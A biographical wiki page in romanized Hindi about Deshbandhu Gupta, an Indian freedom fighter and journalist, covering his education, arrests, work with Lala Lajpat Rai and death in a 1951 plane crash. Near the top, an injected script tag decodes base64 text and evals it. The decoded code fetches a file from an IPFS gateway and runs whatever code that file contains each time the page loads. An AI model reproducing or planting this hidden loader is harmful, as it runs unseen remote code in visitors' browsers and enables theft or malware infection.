देशबंधु गुप्त

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
deshabandhu gupt
poora nam deshabandhu gupt
janm 14 julaee, 1900
janm bhoomi panipat, hariyana
mrityu 1951
mrityu karan viman durghatana
abhibhavak lala shadilal
nagarikata bharatiy
prasiddhi svatantrata senani tatha patrakar
dharm hindoo
jel yatra 'rashtriy andolan' ke dauran gupt ji kee bar giraftar hue aur jel ki sazaean bhogian. 1942 ke 'bharat chho do andolan' ke dauran bhi ve giraftar hue.
vidyalay 'ary vaidik haeeskool', aanbala; 'hindoo k aaulej', dilli
sanbandhit lekh bharatiy rashtriy andolan, lala lajapat ray
any janakari ek patrakar ke roop mean bhi deshabandhu gupt prasiddh the. patrakar jagath mean unhoanne itani prasiddhi paee ki 1948 mean 'akhil bharatiy samachar patr sanpadak sammelan' ke adhyaksh chun lie ge the.

deshabandhu gupt (janm- 14 julaee, 1900, panipat, hariyana; mrityu- 1951) prasiddh rashtr bhakt, svatantrata senani aur patrakar the. apane vidyarthi jivan mean hi deshabandhu gupt rashtriy andolan mean kood p de the. unase prabhavit hokar hi lala lajapat ray ne unhean apane sath le liya tha. gupt ji mean sangathan karane ki b di kshamata thi. varsh 1942 mean 'bharat chho do andolan' ke dauran inhean giraftar kiya gaya aur phir 1945 mean hi ye jel se bahar a sake. ek patrakar ke roop mean bhi deshabandhu gupt jane jate the. svami shraddhanand ne inhean rashtriy patr 'tej' ka sampadak niyukt kiya tha. 1948 mean 'akhil bharatiy samachar patr sampadak sammelan' ke adhyaksh bhi ap chune ge the. gupt ji hamesha 'jati pratha' ka virodh karate rahe.

janm

deshabandhu gupt ji ka janm 14 julaee, 1900 ee. ko panipat, hariyana ke ek vyavasayi parivar mean hua tha. unake pita lala shadilal pakke ary samaji the. inake ghar mean vaidik riti-rivajoan ka poori tarah se palan hota tha. isaka poora prabhav deshabandhu gupt ke jivan par p da.[1]

shiksha

deshabandhu gupt ki arambhik shiksha un dinoan vyavasayi likha-padhi mean prachalit mahajani lipi mean huee. phir ve nagarapalika ke skool aur aanbala ke 'ary vaidik haeeskool' mean bharti hue. deshabandhu gupt ne uchch shiksha ke lie dilli ke 'hindoo k aaulej' mean pravesh liya. yah unake jivan mean ek nirnayak mo d tha.

andolan tatha giraftari

jab gupt ji uchch shiksha prapt kar rahe the, tab usi avadhi mean kee itihas prasiddh ghatanaean ghatian. mahatma gaandhi ke netritv mean r aaulet ekt ke virodh mean pahala vyapak andolan chala. jaliyaanvala bag mean bhishan hatyakaand hua aur bharat ki prabuddh janata ne ek svar se british rajakumar ki bharat-yatra ka virodh kiya. vidyarthi jivan mean hi deshabandhu gupt rashtriy andolan mean kood p de aur giraftar kar liye ge.

lalaji ka sath

lala lajapat ray gupt ji ki pratibha se kafi prabhavit hue. ye unaki pratibha hi thi, jisase prabhavit hokar lala ji ne unhean apane sath le liya. deshabandhu gupt ko ary samaj ke prasiddh neta tatha deshabhakt svami shraddhanand ke sath jel mean rahane ka bhi avasar mila. mahatma gaandhi ke prerak vyaktitv se bhi ve prabhavit hue. is prakar unake vicharoan mean prachinata aur adhunikata ke sanyukt darshan hote the.[1]

sangathan kshamata

deshabandhu gupt mean sangathan ki b di kshamata thi. briten ke rajakumar ki bharat yatra ke samay sarakari adhikariyoan ne unake svagat ke lie dilli mean dalitoan ki ek sabha ka ayojan kiya tha. apani chaturata se deshabandhu ne manch par kabza karake sabha ko bhang kar diya. tabhi se unaki ganana dilli ke pramukh kaangres janoan mean hone lagi. isake bad jitane bhi rashtriy andolan hue, un sab mean unhoanne sakriy bhag liya aur jel ki sazaean bhogian. 1942 ke 'bharat chho do andolan' ke dauran bhi ve giraftar hue aur phir 1945 mean hi jel se bahar a sake.

patrakar

ek patrakar ke roop mean bhi deshabandhu gupt prasiddh the. unaki patrakarita ka lala lajapat ray ke sath aranbh hua. lalaji 'vandemataramh' namak patr ke lie bol kar deshabandhu ko lekh likhavaya karate the. tabhi se unaki bhi is kshetr mean ruchi badhi. varsh 1923 mean svami shraddhanand ne apane rashtriy patr 'tej' ka unhean sanpadak bana diya tha. age chalakar patrakar jagath mean unhoanne itani prasiddhi paee ki 1948 mean 'akhil bharatiy samachar patr sanpadak sammelan' ke adhyaksh chun lie ge.[1]

jati pratha ke virodhi

deshabandhu gupt jivan-bhar rashtriy aur samajik gatividhiyoan se ju de rahe. ve ary samaj ke anuyayi aur saanpradayikata ki bhavana se door the, parantu hinduoan ko dabakar any dharmavalanbiyoan ko age badhana unhean svikar nahian tha. ve jati-pratha ke prabal virodh the.

nidhan

durbhagy se varsh 1951 mean ek viman durghatana mean deshabandhu gupt ka dehaant ho gaya. yadi yah viman durghatana n ghati hoti to vahi dilli ke pratham mukhyamantri bane hote.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. 1.0 1.1 1.2 bharatiy charit kosh |lekhak: liladhar sharma 'parvatiy' |prakashak: shiksha bharati, madarasa rod, kashmiri get, dilli |prishth sankhya: 396 |

sanbandhit lekh


varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah